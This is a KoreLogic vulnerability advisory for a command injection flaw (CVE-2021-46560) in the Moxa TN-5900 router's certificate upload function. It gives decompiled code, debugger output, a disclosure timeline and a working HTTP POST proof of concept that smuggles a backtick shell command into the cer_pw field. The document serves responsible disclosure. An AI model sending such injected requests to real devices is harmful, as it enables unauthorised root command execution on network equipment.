KL-001-2022-002: Moxa TN-5900 Post Authentication Command Injection Vulnerability

Title: Moxa TN-5900 Post Authentication Command Injection Vulnerability
Advisory ID: KL-001-2022-002
Publication Date: 2022.01.28
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2022-002.txt


1. Vulnerability Details

     Affected Vendor: Moxa
     Affected Product: TN-5900
     Affected Version: v3.1 and prior
     Platform: Moxa Linux
     CWE Classification: CWE-78 Improper Neutralization of Special
                         Elements used in an OS Command
                         ('OS Command Injection')
     CVE ID: CVE-2021-46560


2. Vulnerability Description

     A user who has authenticated to the management web application
     is able to leverage a command injection vulnerability in the
     p12 processing code of the certificate management function
     web_CERMGMTUpload.


3. Technical Description

     Following authentication, the webs_CERMGMTUpload API method
     becomes accessible.  This method takes a multi-part HTTP POST
     request containing four parameters.  The cer_pw parameter does
     not properly neutralize special elements used in operating
     system commands and therefore it is possible to include
     encapsulated commands to be executed. In the request below,
     the cer_pw parameter has been written such that when executed
     by the operating system a zero byte file will appear in the
     /tmp directory. See the Proof of Concept section.

     The relevant pseudo-c for this API method is included below. The
     websGetVar function is used to retrieve the cer_pw parameter and
     copies the value into the pass variable. The opcode (mgmtmode)
     is then compared to the number 2 and when true will prepare a
     command to be passed to system using the sprintf function. When
     preparing this command, the pass variable (cer_pw) is included
     without prior first sanitizing the user input.

       void web_CERMGMTUpload(longlong *param_1,undefined8 param_2,undefined8 param_3) {
         ...
         __nptr = websGetVar(param_1,"mgmtmode",&DAT_120064f68);
         opcode = atoi(__nptr);
         __s = websGetVar(param_1,"cer_file",&DAT_120063dd0);
         local_338 = websGetVar(param_1,"cer_name",&DAT_120063dd0);
         if ((*local_338 == '\0') || (lVar1 = Ssys_CheckString(local_338), -1 < lVar1)) {
           sVar2 = strlen(__s);
           if (CONCAT44(extraout_v0_hi,sVar2) < 0x41) {
             ...
             sVar4 = strlen(local_338);
             if (CONCAT44(extraout_v0_hi_00,sVar4) < 0x41) {
               ...
               if (opcode == 2) {
                 memset(pass,0,0x41);
                 __s = websGetVar(param_1,"cer_pw",&DAT_120063dd0);
                 strncpy(pass,__s,0x20);
                 ...
               }
               ...
               __fd = open(inFile,0x102);
               if (__fd < 0) {
                 ...
               }
               else {
                 sVar3 = write(__fd,param_1[0x38],*(param_1 + 0x39));
                 ...
                 else {
                   if (opcode == 2) {
                     outFile = FUN_120038e28(&local_159);
                     snprintf(cmd,0x100,
                              "openssl pkcs12 -in \"%s\" -out %s -passout pass:%s -password pass:%s",inFile
                              ,outFile,pass,pass);
                     system(cmd);
                     ...
                   }
                   ...
       }

     Using a debugger we can see the command as it was
     programmatically created using our malicious input. This
     command is passed to the system function.

       (gdb) x/25s $a0
       0xfffbddb284:    "openssl pkcs12 -in \"/mnt/log1/p12_file/test.p12\" -out /mnt/ramdisk/p12_tmpfile.pem -passout
pass:`touch /tmp/korelogic` -password pass:`touch /tmp/korelogic`"
   
     The file has been created.
   
       # ls -la /tmp/korelogic
       -rwxr-xr-x    1 root     root          8072 Sep 23 20:30 korelogic
   
     It should be noted that the cer_name is exploitable as well.


4. Mitigation and Remediation Recommendation

     The vendor has released a patch which remediates the described
     vulnerability. Release notes are available at:

     https://www.moxa.com/en/support/product-support/security-advisory/tn-5900-secure-routers-vulnerabilities


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     and Josh Hardin of KoreLogic, Inc.


6. Disclosure Timeline

     2021.02.05 - KoreLogic submits vulnerability details to Moxa.
     2021.02.08 - Moxa acknowledges receipt and the intention to
                  investigate.
     2021.03.02 - Moxa notifies KoreLogic that a patch for this
                  vulnerability is expected to be available in June 2021.
     2021.04.16 - 45 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2021.06.07 - KoreLogic requests update on the status of the
                  proposed TN-5900 patch.
     2021.06.15 - Moxa informs KoreLogic that the patch is expected to be released in mid-July 2021.
     2021.06.23 - 90 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2021.07.25 - Moxa informs KoreLogic that the patch is expected to be released in mid-August 2021.
     2021.09.22 - 150 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2021.12.21 - 210 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2021.12.27 - Moxa notified KoreLogic that the patch is complete and ready for release..
     2021.12.28 - Moxa public acknowledgement.
     2022.01.25 - KoreLogic requests CVE from Mitre.
     2022.01.28 - KoreLogic public disclosure.


7. Proof of Concept

     POST /goform/web_CERMGMTUpload HTTP/1.1
     Host: [redacted]:80
     Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
     Accept-Language: en-US,en;q=0.5
     Accept-Encoding: gzip, deflate
     ...
     Connection: keep-alive
     Content-Type: multipart/form-data; boundary=---------------------------9051914041544843365972754266
     Content-Length: 605
   
     -----------------------------9051914041544843365972754266
     Content-Disposition: form-data; name="mgmtmode"
   
     2
     -----------------------------9051914041544843365972754266
     Content-Disposition: form-data; name="cer_file";
     Content-Type: text/plain
   
     korelogic
     -----------------------------9051914041544843365972754266
     Content-Disposition: form-data; name="cer_name";
     Content-Type: text/plain
   
     test.p12
     -----------------------------9051914041544843365972754266
     Content-Disposition: form-data; name="cer_pw";
   
     `touch /tmp/korelogic`
     -----------------------------9051914041544843365972754266--
   
     HTTP/1.1 200 OK
     Server: GoAhead-Webs
     Pragma: no-cache
     Cache-control: no-cache
     Content-Type: text/html



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